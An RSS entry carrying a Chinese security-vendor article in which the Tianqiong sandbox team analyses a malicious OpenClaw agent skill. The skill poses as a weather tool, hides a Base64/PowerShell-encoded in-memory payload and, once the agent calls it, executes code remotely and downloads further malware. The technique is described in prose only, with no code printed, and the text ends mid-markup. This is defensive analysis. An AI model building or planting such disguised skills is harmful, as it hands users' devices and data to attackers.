<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>奇安信技术研究院</title>
    <link>https://wechat2rss.xlab.app/feed/77a8d89f12dcb0aa75a19731e474a63427089081.xml</link>
    <description>网安技术研究国内外前沿动态，相关技术研究发展报告。&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (奇安信技术研究院)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM7sPAW7y7wrsJr9PAV3pvTAhNIJ3s8saasf1HIeM7gicaQ/0</url>
      <title>奇安信技术研究院</title>
      <link>https://wechat2rss.xlab.app/feed/77a8d89f12dcb0aa75a19731e474a63427089081.xml</link>
    </image>
    <item>
      <title>把“龙虾”装进天穹，高危风险全链检测</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247489119&amp;idx=1&amp;sn=5982b1c8e435d8bfe007823fdbf6dafc</link>
      <description>天穹沙箱团队针对该智能体的安全风险展开深入分析，并推出了针对 OpenClaw 的运行分析环境，助力用户全面评估其安全风险，及时发现潜在威胁，保障设备与数据安全，安全“养虾”。</description>
      <content:encoded><![CDATA[<p><span>奇安信技术研究院</span> <span>2026-04-02 17:16</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4ce65780&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQSjGzxHEMdsLp64XfgF09sLK3ZB0HkibCMcafX6pan9sUQJrLeu21NYBuGZnZibkqUq6ZiaBZpI46RzfRWIMDnMy7WHM1Y3xmXdaHa9xenICyo%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>天穹沙箱团队针对该智能体的安全风险展开深入分析，并推出了针对 OpenClaw 的运行分析环境，助力用户全面评估其安全风险，及时发现潜在威胁，保障设备与数据安全，安全“养虾”。</p>
  <div data-tools="135编辑器" data-id="170432" data-pm-slice="0 0 []"><div style="margin: 10px auto;"><div style="display: flex;justify-content: flex-start;"><div style="margin-left: 20px;"><div style="display: flex;align-items: center;margin-bottom: -10px;padding: 0 5px;box-sizing: border-box;"><div><p style="font-size: 16px;color: #2c80f5;text-align: center;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 20px;">一、概述</span></span></strong></p></div><div style="flex-shrink: 0;padding-left: 7px;box-sizing: border-box;"><p style="width: 30px;box-sizing:border-box;transform: rotateY(180deg);-webkit-transform: rotateY(180deg);-moz-transform: rotateY(180deg);-o-transform: rotateY(180deg);"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 65.02 23.03" style="display: block;"><g data-name="图层 2"><g data-name="图层 1"><path d="M58.33,14.09,65,17.41V23L48.75,13.91V9.12L65,0V5.57L58.33,8.89l-4.85,2.49v.23Zm-33.95-5L40.64,0V5.57L34,8.89,29.1,11.38v.23L34,14.09l6.69,3.32V23L24.38,13.91ZM0,9.12,16.27,0V5.57L9.58,8.89,4.73,11.38v.23l4.85,2.48,6.69,3.32V23L0,13.91Z" style="fill: #84e3c6;fill-rule: evenodd;"></path></g></g></svg></p></div></div></div></div><div style="padding: 20px 12px;border: 1px solid #c1c9ff;box-sizing: border-box;"><div><div style="line-height: 2em;text-align: justify;color: #333333;text-shadow: none;letter-spacing: 1.5px;font-size: 14px;" data-autoskip="1"><p><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">2026 年初，开源 AI 智能体 OpenClaw（昵称“龙虾”）凭借本地部署、自主执行指令的特性迅速走红，引发“养龙虾”热潮，国内云平台及社交平台纷纷提供部署与代装服务。然而，工信部与国家互联网应急中心已相继发布预警，指出其存在信任边界模糊、权限管理缺失等安全隐患：用户若配置不当，可能导致设备被控、信息泄露或产生高额费用；同时，依据《网络安全法》，未履行安全保护义务者可能面临罚款乃至刑事责任。此外，使用过程需授权读取本地数据，叠加盗版插件风险，进一步放大隐私泄露隐患。因此，</span></span><strong style="box-sizing: border-box;font-weight: 600;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">天穹沙箱团队</span></strong><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf="">针对该智能体的安全风险展开深入分析，并</span></span><strong style="box-sizing: border-box;font-weight: 600;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">推出了针对 OpenClaw 的运行分析环境</span></strong><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf="">，助力用户全面评估其安全风险，及时发现潜在威胁，保障设备与数据安全，安全“养虾”。</span></span></p></div></div></div></div></div><div data-role="title" data-tools="135编辑器" data-id="170441" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div style="display: flex;align-items: center;"><div style="padding: 0 10px 5px 10px;box-sizing:border-box;"><p style="width: 48px;margin-left: auto;margin-bottom: -20px;z-index: 4;margin-right: -14px;box-sizing:border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7335285505124451" data-type="png" data-w="1366" style="width: 100%;display: block;vertical-align:baseline;box-sizing:border-box;" data-width="100%" data-imgfileid="100005457" src="https://wechat2rss.xlab.app/img-proxy/?k=e235d79c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdsbASXvcdfeGhjGZ9vMqgficLw38JzKQf6DPsBqn6yibjs8z4VibNLrqjNF9V8Q1GGc6g6sR06ooFGcPXRrEbHUGQDeBPADXY9cUw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="background: linear-gradient(to left, #c6c2ff, #2c80f5);padding: 12px 30px;box-sizing: border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 20px;">二、样本信息</span></span></strong></p></div></div></div></div></div><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">样本名： weather.zip</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">SHA1： 4b55b19d040d643b6a760ca0940d2764b7632a8f</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">文件类型： ZIP (SKILL file)</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">文件大小： 2.83 KB</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">报告链接：</span><span leaf=""><span textstyle="" style="letter-spacing: normal;"><a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=82b28536e64a7041a22fdbf1d66b2205&amp;sk=57008976" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=82b28536e64a7041a22fdbf1d66b2205&amp;sk=57008976</a></span></span></p></li></ul><div data-role="title" data-tools="135编辑器" data-id="170441" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div style="display: flex;align-items: center;"><div style="padding: 0 10px 5px 10px;box-sizing:border-box;"><p style="width: 48px;margin-left: auto;margin-bottom: -20px;z-index: 4;margin-right: -14px;box-sizing:border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005458" data-ratio="0.7335285505124451" style="width: 100%;display: block;vertical-align:baseline;box-sizing:border-box;" data-type="png" data-w="1366" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=9e9d8e49&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdvu6qxYuVE8ibaiar0Xez1jqSHWXFEuXq7mXFL63KoDSbr7T8miaYwOUBN4UecKSmgBfbke72oLicw9frCB9ungG8XqjbYrblDmts8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="background: linear-gradient(to left, #c6c2ff, #2c80f5);padding: 12px 30px;box-sizing: border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 20px;">三、环境选择</span></span></strong></p></div></div></div></div></div><p><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">为系统化评估 OpenClaw 智能体的安全风险，天穹沙箱团队基于 </span></span><strong style="box-sizing: border-box;font-weight: 600;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Windows 11 x86-64</span></strong><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf=""> 系统搭建分析环境，模拟用户在本地部署与使用该智能体的实际场景。分析环境配置如下：</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005466" data-ratio="0.22376738305941846" data-s="300,640" type="block" data-type="png" data-w="791" src="https://wechat2rss.xlab.app/img-proxy/?k=19bdf0ec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdvwzXC3K49KlXZUJIcWzQ7NAVn6SPljlfqcMR6TSIrV7SxvvDeexMvibx0sU0tTvLILSJqOjX0psgHjytZPrtOOT3mDxZiar6MPc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">天穹沙箱系统 OpenClaw 分析环境选择步骤如图 1 所示：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img alt="环境选择" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005459" data-ratio="0.6138888888888889" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=7ff3d1e4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdsZaV8YgNoQ8qR5ufxiaAn2aROcgia79yZmXAfMjXOhthE7KDblCGrncowaa9gpF0Wl76laVwCMaQBWyYscVxVvKRibU3TmVaxufk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图1 OpenClaw 分析环境选择</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">上传样本后，使用默认环境配置，静态分析识别 SKILL 文件后系统会自动使用 OpenClaw 环境进行分析，或者手动选择 Windows 11 x86-64 系统进行分析。</span></p><div data-role="title" data-tools="135编辑器" data-id="170441" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div style="display: flex;align-items: center;"><div style="padding: 0 10px 5px 10px;box-sizing:border-box;"><p style="width: 48px;margin-left: auto;margin-bottom: -20px;z-index: 4;margin-right: -14px;box-sizing:border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7335285505124451" data-type="png" data-w="1366" style="width: 100%;display: block;vertical-align:baseline;box-sizing:border-box;" data-width="100%" data-imgfileid="100005464" src="https://wechat2rss.xlab.app/img-proxy/?k=83f09104&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdt7T2FqnfnCNudg1Cd5jx0iaiaUNdVjyslPnyib6ks7yia6HkIVpsE0iaGbjJ93iaCOdKgWfP4TEWHfTnQteZsHibDoSwThZyNeYic33PE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="background: linear-gradient(to left, #c6c2ff, #2c80f5);padding: 12px 30px;box-sizing: border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 20px;">四、检测过程</span></span></strong></p></div></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">针对 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">SKILL</span></strong><span leaf=""> 样本的安全风险评估，天穹沙箱团队依托全链路行为深度建模与动态分析能力，对 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">SKILL</span></strong><span leaf=""> 样本进行了静态检测与动态检测，从多维度对样本进行研判，有效提升了对此类高级威胁的检出能力与响应效率。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 20px;">静态检测</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">利用天穹智能体安全分析平台的静态分析功能，对 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">SKILL</span></strong><span leaf=""> 样本进行全面的代码审计与恶意行为扫描，尝试识别其中存在的恶意指令与潜在风险点，如图 2 所示；</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img alt="SKILL安全检测" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005462" data-ratio="0.3814814814814815" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=06132bb3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdtkmIYCHUw5icfKRURe3NibIe0WrF9RaedrlA37ceSRpqiajXruoEV33TsIrfaXqKleleMbNyVs7vNXGtX5tffFT0AOWoFEGRzWKQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图2 SKILL 安全检测</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">上图展示了天穹智能体安全分析平台对 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">weather-data-fetcher</span></strong><span leaf=""> 技能样本执行的深度静态审计报告。尽管该技能元数据伪装成正常的天气查询工具，但平台通过代码审计精准捕获了其核心脚本 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">scripts/weather.py</span></code><span leaf=""> 中的恶意行为。检测结果显示综合风险等级为 </span><font color="red" style="box-sizing: border-box;"><span leaf="">[危险]</span></font><span leaf="">，具体揭示了攻击者利用 Base64 与 PowerShell 双重编码技术隐藏载荷，并通过 os.system 绕过正常逻辑执行内存中 Gzip 压缩的恶意代码，构成典型的远程代码执行（RCE） 威胁。该案例充分验证了平台在识别隐蔽恶意指令、解析混淆代码以及评估智能体潜在风险点方面的核心安全能力。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">为确证静态扫描结果的真实性，平台将转入动态分析阶段，利用 OpenClaw 框架生成高风险交互提示词。这些提示词专门设计用于触发 weather-data-fetcher 技能中的恶意代码执行路径，如图 3 所示。通过在受控沙箱中运行这些提示词，观察技能是否会产生预期的恶意行为（如内存代码执行、异常外联等），从而量化风险等级，并为后续的防御策略提供具体的行为特征指标（IOCs）。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="触发提示词" class="rich_pages wxw-img" data-ratio="0.637962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005461" src="https://wechat2rss.xlab.app/img-proxy/?k=b45a80a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdubbvHABicnkOPAXA88icuqwW8s22ef2RdZeNqOfKWNkQLJWayAu633IA9XqaTqUx5iaY1enb7PVpAeUfVibUwIBCuPsq3WFBR3fUI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图3 触发提示词</span></center><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 20px;">动态检测</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">该恶意 SKILL 样本一经调用，OpenClaw 会立即执行其中的恶意指令，利用 PowerShell 反射加载恶意载荷，实现远程命令执行，进而下载并执行更多恶意程序，最终导致设备被控、数据泄露等严重安全事件。天穹沙箱系统通过全链路行为深度建模与动态分析能力，成功捕获并解析了该样本从初始调用、恶意指令执行、到最终远程控制的整个攻击过程，精准识别了其反调试、环境探测、权限提升等恶意行为，并完整提取了各阶段解密后的恶意载荷，为安全人员深入分析 OpenClaw 智能体的攻击战术、技术细节与危害影响提供了全面、清晰的技术视角，显著提升了对此类高级威胁的识别能力。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">进程调用关系如图 4 所示：</span><span leaf=""><br/></span><span leaf=""><img alt="进程链" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005460" data-ratio="0.6592592592592592" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=47f684b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdtBb14gB6ib8nPCmLogsMbtmhJn5pcd9q7UDb3ibWuuiaq5tjcXibuIP2AwmZR6rEoxwtCyDicmth2ibMNO2AzJLIWNOaNlHOvfI2EQo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图4 进程调用关系</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">动态威胁检出如图 5 所示：</span><span leaf=""><br/></span><span leaf=""><img alt="动态" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005463" data-ratio="0.6138888888888889" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=0285e861&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdvbibLgLyMDjHEnaB8zloHWagBH09JSZSkRFRf6z2GUKV68UNupJwkPiabiaNVYq1gu5dWicWeBWiajLeOgWhE935TRqLdbO2mtPWCI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图5 动态威胁检出</span></center><div data-role="title" data-tools="135编辑器" data-id="170441" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div style="display: flex;align-items: center;"><div style="padding: 0 10px 5px 10px;box-sizing:border-box;"><p style="width: 48px;margin-left: auto;margin-bottom: -20px;z-index: 4;margin-right: -14px;box-sizing:border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7335285505124451" data-type="png" data-w="1366" style="width: 100%;display: block;vertical-align:baseline;box-sizing:border-box;" data-width="100%" data-imgfileid="100005465" 